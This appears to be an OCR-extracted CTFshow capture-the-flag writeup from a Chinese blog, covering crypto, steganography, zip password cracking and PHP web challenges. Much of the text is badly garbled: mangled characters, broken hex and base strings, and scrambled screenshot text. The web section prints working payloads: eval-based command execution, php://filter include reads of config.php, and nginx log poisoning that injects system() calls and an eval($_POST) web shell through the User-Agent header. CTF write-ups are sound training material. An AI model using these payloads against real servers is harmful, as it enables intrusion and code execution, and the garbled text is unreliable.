CTFshow-8f# Writeup

Atkxor F 2021-05-06 22:04:35 KA 1201 W 4

LR WriteUp ctfshow X EHR%: web

FRAUE B : ASCAEERAISCE, 5 CC 4.0 BY-SA MR, H8iFMH EFESCH s mA RS,
AR https://blog.csdn.net/qq_46150940/article/details/114182874

15 RE 01T 5

RIS

| ctfshow
2B EATH
TR B A

Hx

CRYPTO

HA TR

AT RG2

BT L3

WA BT E#4
MISC

HH 55
¥k 56
Z 1
Z 102
BT 23
Z 104
155
6

5 & 5
o N

S
S
©


https://blog.csdn.net/qq_46150940
https://blog.csdn.net/qq_46150940/category_10683097.html
https://blog.csdn.net/qq_46150940/category_10582611.html
https://so.csdn.net/so/search/s.do?q=web&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_46150940/article/details/114182874
https://blog.csdn.net/qq_46150940/category_10683097.html
https://blog.csdn.net/qq_46150940/category_10582611.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=qq_46150940&utm_content=114182874

1510
ZRT511

Web

web1
web?2
web3
web4
web5
web6
web7
web8
web9
web10
web11
web12
web13
web14
web15
web16
web17
web18
web19
web20
web21
web22

CRYPTO
B A1

L
53316C6B5A6A42684D3256695A44566A4E47526A4D5459774C5556375A6D49324D32566C4D4449354F4749345A6A526B4F48303
D

R KEYPOOKOOONG

hexi 7 4% &

fromhex(m

S11kZjBhM2ViZDVjNGRjMTYwLUV7ZmI2M2V1IMDI50GI4ZjRkOHO



Base64f#iY
kYdfea3ebd5cadc160-E{fb63eed298b8f4ds

WA= R AR, BN 2015 2

wf MH=ERSINAEE — %
13

Vi KYdfOa3ebd5c4dc160-E{fb63ee0298b8f4d8}

BESE KEY{dffbO6a33eeeb0d259¢84bd8cf146d08-}

=2 |2 | ez ke

BT _E 2

HBAC R, PEERETJLTF#EE. . - rdevbg 2gase3 6tghu? flaght sRKEYDOXXXK}

REET, FLAE Ry
BB EE3

LR L] S

morse is cool but bacon is cooler mmddmdmdmmmdddmdmddmmmmmmmddmdmmddm

WRRIEREN, BmBHRWA, JEHEB

AABBABABAAABBBABABBAAAAAAABBABAABBA

B )5 flag{GUOWANGHR3Z 5. Zh


https://tool.bugku.com/peigen/

BT E#4

QW80obWdIWF5FKUF SQWS5URIhKXWZAIMx0OzYiLg==

Base64f#iL15 3|
&lt; RE NS, PiZe< B#EFa

SR j5Base85R %A 3

=

flag{base_base_base

MISC

51
FRGHR KB, RKRA, FO1OTIFEA, RIlpng FIcHkARn

O s [N

png 3443k

89 50 4E 47 0D ©0A 1A 0A


http://ctf.ssleye.com/base85.html

BT KB AT

flag{zhe_ci_meiyou_ctfshow}

fa 52
B RRMEIPHS, JPHSITIFE N, diSeek, AR, 1754 1.0¢H1 74 Siflag

BH JPHS for Windows - Freeware version BETA test rev 0.5 - | X

Exit Openjpeg Hide Seek Savepeg Save jpeg as  Pass phrase  Options
Help About

w52



48 B AR

H ziperello

> ziperello
}4.3 Pz:‘p password recovery tool

I
#hZ=AtiE]: 00:00:04

L=

‘ 18:24:29: 7518 : "19981000".AF8): 7s |

Ziperello ver. 2.1 lﬁﬁﬁfﬂ (C) 2008 FDRLab

BI04 5919981000, /%@ Fiflag
W RBE3



FTFFRI AT E Flflag

blog.csdn.nene

HH BE4



SR, RAword 3O, B RRREBICT

HHEES
TR, @5 NF

R 50 A S s — 0 45 5] PSR 3 21— o ) i PR A T 2 ) L | 3 R 7 B = 3 ) PR B S i R B R R B\ \ =0 =//

L P ¥ unicode, B3|

\u4deo\u5a00\u5700\u4700\u4300\u5200\u5200\ud900\ude00\ud200\u5100\u5700\u3600\u5800\u3300\udbo0\u4e00\u4600\u32
00\u5600\u3600\u5900\u5400\u5600\u4c00\u3500\u3400\u5700\u3600\u3300\u5400\ud800\udcO0\u3500\u5200\ud400\ud700\u

4d00\u5300\u3700\u4600\u4500\u3doe\u3deo\u3dee\u3deo\u3dee\u3deo\uee5c\ued5c\uee3d\u3002\uee3d\uo2f\uee2f

163l B SCA 775 B

MZWGCZZINBQWEX3KNF2V6YTVL54W63THL5RDGMS7FE \\=0=//


http://tool.chinaz.com/tools/unicode.aspx
http://www.bejson.com/convert/ox2str/

BT, EHEZR/NFFR, Base32f#iE15 Flflag

WZWGCZZ THNBOWEXSENF 2VaT TVLE4WE3THLERDGN S TFE

| 4 | s || A= |

flag(thao jiu bu yong b32 )

56

T, 18 2lproblem.flacE 43, #EAAudacity

MME v =FN (Realtek(R) Audio) v2@zeE 2=l v o) 552 (Realtek(R) Audio) v
V‘ 18:0 . 19.'0 ‘ 20.'0 . 21|.0 . 22HO ‘ 23:0 . 24|.0 ‘ 25.'0 . 2&.'0 . 27.'0 ‘ 23:0
X|sreeles w| 1.0
== | == 0.5
PR S
= = .o H—H—88 00800 BE88s &4
zem mn | 0.5
-1.0
A

REHEN, KEBHK -, EREHREK .

TLH D RS B flag

51

NG OB TRABRA, ATRDHMIEELITA, VREEFHHE NG ?
40 md5 (& A [ +ctf)=ed400fbcff269bd9c65292a97488168a
R3flag{zr A 175}

md5#EE%

helloctf


http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx
https://www.somd5.com/

FiLAflag
Z T2

fRJEME, 78 %llogo.png, 010 editoriT 71, CHEAREBIAT % Flflag

4 010 Editor - C:\Users\admin\Desktop\ctfshow\igZm\logo\logo.png
MiE ORE O EER OUE B B &SR I8 &0 #E5
R 6 B afF YHRELDE 2B AN

=t 1oz0. png X

B HT A3

KRG NHFH, AARH—MHARKERT —HREBT R, ERAE —KESL BRMRSEFRMMERBRALEETH—H, WRig#H
BREFBMABRITEEEREZ AL, BN, XNMHEEANEMNE.
flagh&X: flag{R4T &ML}

B H R, AR —®%797, 10, 01, MEKZFZELEER, Frbl&97,10,01,15, MRITEEERAFIL, mE=
R 97101551,

54

ANHLZFRERFEESCS, R/ADNARIRAFKNE, IRLER, BT AR HERE, TRRETEBT, AKKFHIEHINL LA
BB, BishiR372, REeHE /N ?

T HEhhtk: https://mww.lanzous.com/i9h29li

flag{372X00000¢



WIEIRRA, BHAIT2F LM Hir, MiBBE, BRI 04K 372619038

| O4-BrIhics! >
Advanced Archive Password Recovery (HiHEE:
20 619,031
Sitadig 28ms
EIEEOZ D) 22,108,250
priat b = : o ES 72619038 (]
+7s s 0% 333732363139303338 e
S Vv &=
T HRASH T (A - AT ¢
9 T '¢
. hFEﬁ=+HE j W8 37200777 Ce
=t :
iRl IEN=7F AFEX &
FEEEO
mnmmzmﬁm BIh#FRGEEWEE, BaEFNEEER ~
2021/2/28 20:44: 10 - FA&HE TN E. ..
2021/2/28 20:44:10 - O 2Tk
| | 2021/2/28 20:44: 10 - '372619038' %E%K#E‘ﬂ—“i*ﬁ;*eil:l% v
Sa0s: 372619038 TINERE: 24,761,240 pfs
S At i lxA4iE):
O%4E =9, &it: 1,000,000, 24HE: 619,031
61%

ARCHPR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd.

W5

v

AN DERATIT T 86, ATRIRATHSCT B S R RIARFBL, HARKIEA AR, MEFRREHIRT —aiE, REEHDHRIXQENE

Bng?

TEME, ERBEXFAIFINMES, MHEIREHF. L. AL G, FlEXHARE FRAGERKRZllag

flag = flag+i
print(flag)

BATRE
FLAG{CTFSHOWNB}

16




NS EE T ? R RN EE R, AR R MRS B, RAMRER. AR T, WA, R
SN

RIERRRHINE, KX EK09BCA00, RIFEMWNIERMEET

E v Efgee YhEDC B AN
'

00 00 08
13 0

L= Y
o

0
2

1=
(= T R e = Y

oo

ANORBRITITESE, BRENE ), F4R?
ERE RS SEAER— X2, RS AR.
YRBEF /N 58 BRI AN AD 3R B 28 A8 1 2

BEHRE KRR, MK —R, $C80365, R7FEHITITMALUEEflag T .

MNAFTEFER—4, 08, REPKEEXLERET T .



iR IS PR F

RERSZEEERBHE AR, H/0TH, K030CH H020C

sdn.net/qq

RGBT UE Blflag

A9

U bk 888 https://pan.baidu.com/s/1XqF-OyHbHSWHF EUJVVZPEA $2EiY: feg3
k. 5AAMsE, MuEEREE.

BoR: WRRARA1.24E, Bigame.dl

PR/ P A FEHE R . Bil4n: flag{Ox00000¢

>
n

=5 E
10

v
=

ANRHREARENEMAT , HE800E MRS, ERXAE .



Jd= y+ y=  ju+r yy-u U @&
wEt"  j17ST  7MPC  NUSE-  Ej&u-
0%k yHH:Oum+ UMMk  BMNTO: H1="?’

jO&OH: “DH?YE™ UGH1  BB?1" jCf'U:
uMlH1  jB-j1 wHhHh=--5B)B-  BkJUk
“HI'OH j""“N1 “ODHOK™ HSH"Da jP'NH ©
"w* D{ L1 JUHT T e IRAR ]

flag{#R 147 B AR}



JPHSIRE, HA4HHMTA, REHEWLAT.

B8 JrHS for Windows - Freeware version BETA test rev 0.5 — >
Exit Openjpeg Hide Seek Save jpeg Save jpeg as  Pass phrase  Options

Help About

Input jpeg N
Director C:\Usershadmin\Desktop'ctfshow'B8HT
Filename miscll. jpg

Filesiz 419 Eb Widtk2200 pixel Heighil 374 pixel
Approximate max 63 kb recommended 38 kb

Hidden

Director C:\Users\admin‘\Desktop\ctfshow\BHA¥}
Filename flag

Filesisz T Eb

Saved jpeg

Directo:
Filename

Files=is Eb

AAFEHfag, 01047 H B F RILAPNGI K

R b Efdes 2XHREDE B> AN

Dé 00

RPN XXM, KO 4D, LA 4N EE

https://ctf.show/?ZmxhZ3vmiJjnpZ71vZLmnaX1j5HnjrDohérlt7H1hL/1rZ KjliLfpopjvvIzkuIDmgILkuYvkuIvlj6z11KQxMOS4h+H

WwhuWjg+adpeakpeS7h30



https://cli.im/deqr

it 17 5 Ja T ) 38 23 3£ AT base 64 i 5

ZmxhZEvmi ] inpZ71vZlmaXl j5Hn jrDoh6rl t FHILL /1rZD1nk j1iLfpop jvvl zkul Dmg JLEuY vkul vl j6z1 1EQxMOS dh+¥ehulW jgtadpeakpeSThi0=

E= | = | ' | DEmsssnIET

if(intval($id) 999){

die( )
}else{

$sql
echo $sql

$result = $conn->query($sql);

if ($result->num_rows > @) {

while($row = $result->fetch_assoc()) {
echo . $row|[ ].

$conn->close();

}else{
highlight_file(_ FILE_ );
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die(
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die(
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if(isset($_GET] IDDA
if(isset($_GET] IDDA
$f = $_GET[ 15
if($key===$f){
echo $flag;

}else{
highlight file(__ FILE_ );
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?php

include( )E
if(isset($_GET[ )H{
$c = $_GET[ 1;
if(preg_match(
eval($c); FEXHEBANKE R
Yelse{
die( )

Yelse{
highlight_file(__ FILE_ );
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?c=system( )E
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if(preg_match( »$¢)){
eval($c);

RRRE=EARHOTIE T
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if(!preg_match(
eval($c);

L8 T cat, HcatfRUUTIRERIH T F4F

cat HE—THBERNE, KA NEHH

tac NE&E—ITHIFERAR, HEIEAER

more MRIEHE DK, —H—WHIMECHNE

less FmoreZ&fl, {HIEAR AP CAMERTEIN, T H 34T AT A R 747

head R Ex=3kJUAT

tail RER&EJUT

nl &l Fcat -n, BRE#HITS

tailf RflFtail -f

sort #wdF T SCAR S A AN DAHER .

od odiEASEETA THISCHRINE, FHKE AL\ 78 20 H K.

#iHPayload

;$d=%a.$b;$d(
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if(!preg_match(
eval($c);

YR T M4, MBI T, AREBEMERBHRSE T, B

if(!preg_match(
eval($c);
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if(!preg_match(
eval($c);
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Payloadl: ?c=include$ POST[a]?
POST:a=php://filter/read=convert.base64-encode/resource=config.php

Payload2: ?c=include$ GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

if(!preg_match(
eval($c);

T = <. > WAEPRELIE ; B LERPayload

Payloadl: ?c=include$ POST[a];
POST:a=php://filter/read=convert.base64-encode/resource=config.php

Payload2: ?c=include$ GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

)
if(isset($_GET] DDA
$c = $_GET['c'];
if(md5( $c")
echo $flag;
}else{
echo

i in stril:
for j in stri:
for k in stri:
S hashlib.md5 (( i+j+k).encode()).hexdigest()

if s

print(i+j+k)
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<?php
if(isset($_GET['c'])){
$c=9$_GET['c'];
if(!preg_match( ,$0)){
include($c);

highlight_file

TP T phpRtg?, FMABEXHEE, WRBHEXH: ?2c=/var/log/nginx/access.log ,
jf%&“: El%i f?
BN, REIE, AR5 HEUser-Agentibiii N <?php system('1s');?>, &2 7T 36d.php

Go Cancel | | < [v || >|v Target: 893c4171-aba7-f49 hall.ctf.
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

GET /2c=Harflog/nginx/access.log HTTI

A A HTTP/1.1200 OK
P

Host. B= ceff chall. cff.show:8080 Content-Type: text/htm; charsst=UTF-8
User-Agen|: <?php system(1s):?>] Date: Sun, 28 Feb 2021 08:18:40 GMT

Accept: tekubiml I ml;g=0.9, Server: nginx/1.16.1

Accept-Language: zh-CN zhiq=0.8 zh TWig XPowered By: PHPI7.3.11

Accept-Encoding: gzip, deflate Content-Length: 1850

Connection: close Comnection: close

Upgrade-nsacure-Requests: 1

Cache-Control: max-age=0 172.12.0.60 - - [28/Febi2021:08:14:03 +0000] "GET / HTTP/.1" 200 1450 ™" "Mozilla/5.0 (Windows NT 10. n64; x64) AppleWebKi537.36 (KHTML, like Gecko)

Chrome/88.0.4324.190 Safari/537.36"
172.12.0.60 - - [28/Feb/2021:08:14:03 +0000] "GET favicon.ico HTTP/1.1" 200 1450 " 893¢4171-ab47-49 chall.ctf. " "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML. like Gecko) Chrome/88.0.4324.190 Safari/537 36"

172.12.0.60 - - [28/Feb/2021:08:16:05 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1" 200 474 " "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
172.12.0.60 - - [28/Febi2021:08:16:05 +0000] "GET flavicon.ico HTTP/1.1" 200 1450
2 893¢4171-ab47-49 chall.ctf. g/ngi 0g” "Mozilla/5.0 (Windows NT 10.0;
ike Gecko) Chrome/88.0.4324.190 Safari/537.36"

172.12.0.60 - 1/2021:08:16:42 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1” 200 989
Gecko/20100101 Firefe:
172.12.0.60 - - [28/Febi2021:08:T8%2,:0000] "GET flavicon.ico HTTP/1.1" 200 1450

“hitp:/Be9c1822 893¢-4171-ab47-f910. hall.ctf. g/ngi log™ "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)
Gecko/20100101 Firefox/86
172.12.0.60 - - [28/Feb/2021:08:17:40 +0000] "GET /2¢=/va
Gecko/20100101 Firefox/86
172.12.0.60 - - [28/Feb/2021:08:18:31 +0000] "GET /2c=/varflog/nginx/acce:
index.php

in64; x64) AppleWebKiv537.36

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)

inx/access.log HTTP/1.1" 200 1430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)

[TTP/1.1" 200 1614 ™.

172.12.0.60 - - [28/Feb/2021:08:18:39 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1" 200 738" "
index.php

SRIGUN <?php system('cat 36d.php');?>

Go Cancel | [ < [v ]| >|r Target: 22.893c-4171-ab4T. hall.ctf @l

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
GET /?c=han/log/nginx/access.log HTTP/1.1 -l HTTP/1.1 200 OK
Host: 8e9c1822-893c-4171-abd7-14310df2ceff chall ctf show:8080 Content-Type: text/html; charset=UTF-8

Use\rAgentI <7php system(cat 360 php); 7> I Date: Sun, 28 Feb 2021 08:20:33 GMT
b ml;q=0.9, p 108

Aceept Seer: nginx/1.16.1
Aceept-Language: zh-CN,zh;q=0.8 zh- TW. q=0.7 zhHK; g=0.5,en-US;q=0.3,2n.0=0.2 ¥PoweredBy: PHPZ.3.11
Aceept-Encoding: gzip, deflate Connection: close
Connection: close Content-Length: 2333
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0 172.12.0.60 - - [28/F ¢b/2021:08:14:03 +0000] "GET / HTTP/1.1" 200 1450 "
Chrome/88.0.4324.190 Safari/537.36"

172.12.0.60 - - [28/F ¢b/2021:08:14:03 +0000] "GET Havicon.ico HTTP/1.1" 200 1450 "} 893cA171-abdT. hall.ctf. " "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

172.12.0.60 - - [28/F ¢b/2021:08:16:05 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1" 200 474 ozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWehKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Saf: -

172.12.0.60 - - [28/F ¢b/2021:08:16:05 +0000] "GET Aavicon.ico HTTP/1.
" 393c4171-ab47 149 chall.ctf. ? i log™ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWehKit/537.36
(KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537 36"
172.12.0.60 - - [28/Feb/2021:08:16:42 +0000] "GET /?c=varflog/n
Gecko/20100101 Firefox/86.
172.12.0.60 - - [28/F eb/2021:08:16:42 +0000] "GET Havicon.ico HTTP/.1" 200 1450
K 893 A171-ab47-H49 hallctf; ? a/ngi log” "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)
Gecko/20100101 Firefox/86.0"

172.12.0.60 - - [28/F ¢h/202
Gecko/20100101 Firefox/86.
172.12.0.60 - - [28/F eb/2021:08:18:31 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1" 200 1614
index.php

'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

w/access.log HTTP/1.1" 200 989 " "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)

7:40 +0000] "GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 1430 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)

"36d.php

172.12.0.60 - - [28/F eh/2021:08:
index.php

:39 +0000] "GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 1738 ** "36d.php

172.12.0.60 - - [28/F ¢b/2021:08:18:40 +0000] "GET /2c=/var/log/nginx/access.log HTTP/1.1" 200 1862
index.php

"36d.php

172.12.0.60 - - [28/F eb/2021:
cko/20100101 Firefox/86.
172342.0.60 - - [28/Feb /202

:53 +0000] "GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 1986

'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0)

w/access.log HTTP/1.1" 200 2170

<?php

FHEZ: BHEEAN
Pil] ?2c=/var/log/nginx/access.log A, #RJ5FHUser-Agentibfii N\ —HFJiEARL <?php eval($_POST['a']);?>



Go Cancel < v >|r Target: http://087ff5e4-7368-4c4c-b8f1-cBea3b7d599d.chall.ctf

Request Response

Raw | Params | Headers | Hex Ra Headers | Hex
;ETI Pe=ivarfloginginx/access log HTTP/1.1 .A HTTP/1.1 200 OK
I, L3668, 2fl-ch £d593d chall. ctf. show. 8080 Content-Type: text/html; charset=UTF-6
I} Date: Sun, 28 Feb 2021 08:62:08 GMT
\ccep T, e ate TR mr R appeation/xml; =0.9 image/webp % =0.8 Sener: nginx/1.16.1
\ccept-Language: zh-CN,zh;q=0.8,zh-TW.q=0.7 2h-HIK, (U 5-en:US; q=0.3 en; g=0.2 X-Pawered-By: PHP/7.3.11

«ccept-Encoding: gzip, deflats
‘onnection: close
Ipgrade-Insscurs-Requests. 1
sache-Control: max-age=0

Content-Length: S64
Connsction: close

172.12.0.60 - - [28/Feb/2021:08:51:03 +0000] “GET / HTTP/1.1" 200 1450 "." “Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Ge«

Firefox/86.0"

172.12.0.60 - - [28/Feb/2021:08:51:04 +0000] "GET /favicon.ico HTTP/1.1" 200 1450

“http://087f5e4.7368 4c4c-hBfl-cBea3b7 chall.ctf. " "Mozilla/5.0 (Wi NT 10.0; Win64; x64; rv:86.0) Gecko/20
Firefox/86.0"

72.12.0.60 - - [28/Feb/2021:08:51:19 +0000] “GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 400 "-" "Mozilla/5.0 (Windows NT 1
R ko/20100101 Firefox/86.0"

172.12.0.60 - - 021:08:51:33 +0000] “GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 583 "-" "Mozilla/5.0 (Windows NT 1

v:86.0) Gecko/2010010
172.12.0.60 - - [28/Feh/2021:08:52:00 +0000] “GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 766
172.12.0.60 - - [28/Feb/2021:08:52:03 +0000] "GET /?c=/var/log/nginx/access.log HTTP/1.1" 200 871

WEERE, flag?E36d.php B

web18

if(!preg_match(

include($c);

Rweb17, HEBRETER

web19

if(!preg_match(
include($c);

Rweb17, HERSHER

web20

if(!preg_match(
include($c);

Wweb17, HEMEER

web21

if(!preg_match(
include($c);

Hweb17, HEBEER

web22



<?php

if(isset($_GET['c'])){
$c=9$_GET['c'];
if(!preg_match(

include($c.

}else{
highlight_file(__ FILE_ );
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